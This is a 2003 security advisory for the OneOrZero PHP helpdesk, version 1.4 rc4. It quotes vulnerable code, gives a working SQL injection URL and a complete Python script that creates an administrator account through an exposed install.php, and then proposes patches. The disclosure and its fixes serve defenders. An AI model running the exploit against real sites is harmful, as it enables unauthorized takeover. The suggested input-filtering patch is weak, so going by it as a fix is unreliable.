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OneOrZero Security Problems (PHP)


From: "Frog Man" <leseulfrog () hotmail com>
Date: Thu, 15 May 2003 19:06:40 +0200

Informations :
°°°°°°°°°°°°°°
Website : http://www.oneorzero.com
Version : 1.4 rc4
Problems :
- SQL Injection
- Admin Access

PHP Code/Location :
°°°°°°°°°°°°°°°°°°°

supporter/tupdate.php :

--------------------------------------------------------------------------
if($groupid == 'change'){
        $sql = "UPDATE $mysql_tickets_table set groupid=$sg where id=$id";
        $result = $db->query($sql);
}
--------------------------------------------------------------------------




admin/install.php :

----------------------------------------------------------------------------------------------------------------------------

[...]
if($step == 2){

        echo "<br><br>";
        start("Helpdesk Installation", "center");
                if($HTTP_POST_VARS['first'] == ''){
                        showError("first name");
                        $flag = 1;
                }
                if($HTTP_POST_VARS['last'] == ''){
                        showError("last name");
                        $flag = 1;
                }
                if($HTTP_POST_VARS['user'] == ''){
                        showError("user name");
                        $flag = 1;
                }
                if($HTTP_POST_VARS['email'] == ''){
                        showError("email address");
                        $flag = 1;
                }
                if($HTTP_POST_VARS['pwd1'] == '' || $HTTP_POST_VARS['pwd2'] == ''){
                        showError("password");
                        $flag = 1;
                }
                if($HTTP_POST_VARS['office'] == ''){
                        showError("office");
                        $flag = 1;
                }

                if (!checkPwd($HTTP_POST_VARS['pwd1'], $HTTP_POST_VARS['pwd2'])){
                        showError("password");
                        $flag = 1;
                }

                if(!validEmail($HTTP_POST_VARS['email'])){
                        showError("email");
                        $flag = 1;
                }


        if($flag == 1){
                endit();
                exit;
        }
[...]
        $pwd = md5($HTTP_POST_VARS['pwd1']);
$query = "INSERT IGNORE into $mysql_users_table VALUES(NULL, '".$HTTP_POST_VARS['first']."', '".$HTTP_POST_VARS['last']."', '".$HTTP_POST_VARS['user']."', '".$HTTP_POST_VARS['email']."', '', '".$pwd."', '".$HTTP_POST_VARS['office']."', '".$HTTP_POST_VARS['phone']."', 1, 1, 1, 'default', null, null, null, 0, 'English', '0')";
        $db->query($query);
[...]

----------------------------------------------------------------------------------------------------------------------------




Exploits :
°°°°°°°°
- http://[target]/supporter/tupdate.php?groupid=change&sg=groupid,description=char(97,98,99,100)&id=10 will change the description of the ticket number 10 into "abcd" (char(97,98,99,100))

- To exploit the second one, in python 2.2 :


--------------------------------------------------------------------------------------------------------------------------
import urlparse
import httplib
import string

OneOrZero("http://www.target.com","80","NewUserName","NewPassword";)


class OneOrZero:
   def __init__(self,target,port,user,password):
       if port != "":
           self.port=str(port)
       else :
           self.port="80"
       self.path=str(urlparse.urlparse(target)[2])
       self.target=str(urlparse.urlparse(target)[1])
       self.user=str(user)
       self.password=str(password)
       self.USER_AGENT='OneOrZero.py'
       self.CreateAdminAccount()

   def CreateAdminAccount(self):

data='step=2&first=admin&last=admin&user='+self.user+'&pwd1='+self.password+'&pwd2='+self.password+'&email=a@a.a&office=abcd'

       try :
           print "Connecting On "+self.target+"...\n"

           http=httplib.HTTP(self.target,self.port)

           print "Sending Data On "+self.target+"...\n"

           http.putrequest("POST",self.path+"/admin/install.php")
http.putheader("Content-Type","application/x-www-form-urlencoded")
           http.putheader("User-Agent",self.USER_AGENT)
           http.putheader("Host",self.target)
           http.putheader("Content-Length",str(len(data)))
           http.endheaders()

           http.send(data)

           code,msg,headers = http.getreply()

           print "HTTP Code : ",str(code)
           print "HTTP Connection : ",msg
           print "HTTP headers : \n",headers,"\n"

           file=http.getfile()
if string.find(file.read(),"Administrator Account Created Successfully.") != -1: print "Congratulations, Administrator Account Created Successfully." print "You Can Log In Here : http://"+self.target+self.path+"/admin/control.php";
               print "User : ",self.user
               print "Password : ",self.password
           else :
               print "Administrator Account Hasn't Been Created."

       except :
           print "Error During Admin Account Creation."
--------------------------------------------------------------------------------------------------------------------------




You just have to change the line :
OneOrZero("http://www.target.com","80","NewUserName","NewPassword";)


Solution :
°°°°°°°°
A patch (and more details in French) can be found on http://www.phpsecure.info.

- In supporter/tupdate.php, add the lines (at the begin) :

-------------------------------------------------------------------------------------------------
foreach ($_REQUEST as $key=>$value) {

   if (get_magic_quotes_gpc()==0) {
$value = addslashes($value); // This will reproduce the option magic_quotes_gpc=1
   }

   $value = str_replace('(','()',$value);

   ${$key} = $value;
   $_REQUEST[$key] = $value;
   if (isset($_POST[$key])) { $_POST[$key] = $value; }
   if (isset($_COOKIE[$key])) { $_COOKIE[$key] = $value; }
   if (isset($_FILE[$key])) { $_FILE[$key] = $value; }
   if (isset($_GET[$key])) { $_GET[$key] = $value; }
   if (isset($HTTP_POST_VARS[$key])) { $HTTP_POST_VARS[$key] = $value; }
if (isset($HTTP_COOKIE_VARS[$key])) { $HTTP_COOKIE_VARS[$key] = $value; }
   if (isset($HTTP_FILE_VARS[$key])) { $HTTP_FILE_VARS[$key] = $value; }
   if (isset($HTTP_GET_VARS[$key])) { $HTTP_GET_VARS[$key] = $value; }
}
-------------------------------------------------------------------------------------------------


- In admin/install.php, put the lines :

---------------------------------------------------------------
        $sql = "SELECT * FROM $mysql_users_table WHERE id > 0";
        $result = $db->query($sql);
        $num_rows = $db->num_rows($result);
        if ($num_rows > 0){
                die("<b>OneOrZero Is Already Installed.</b>");
        }
---------------------------------------------------------------

just after :

---------------
if($step == 2){
---------------












frog-m@n

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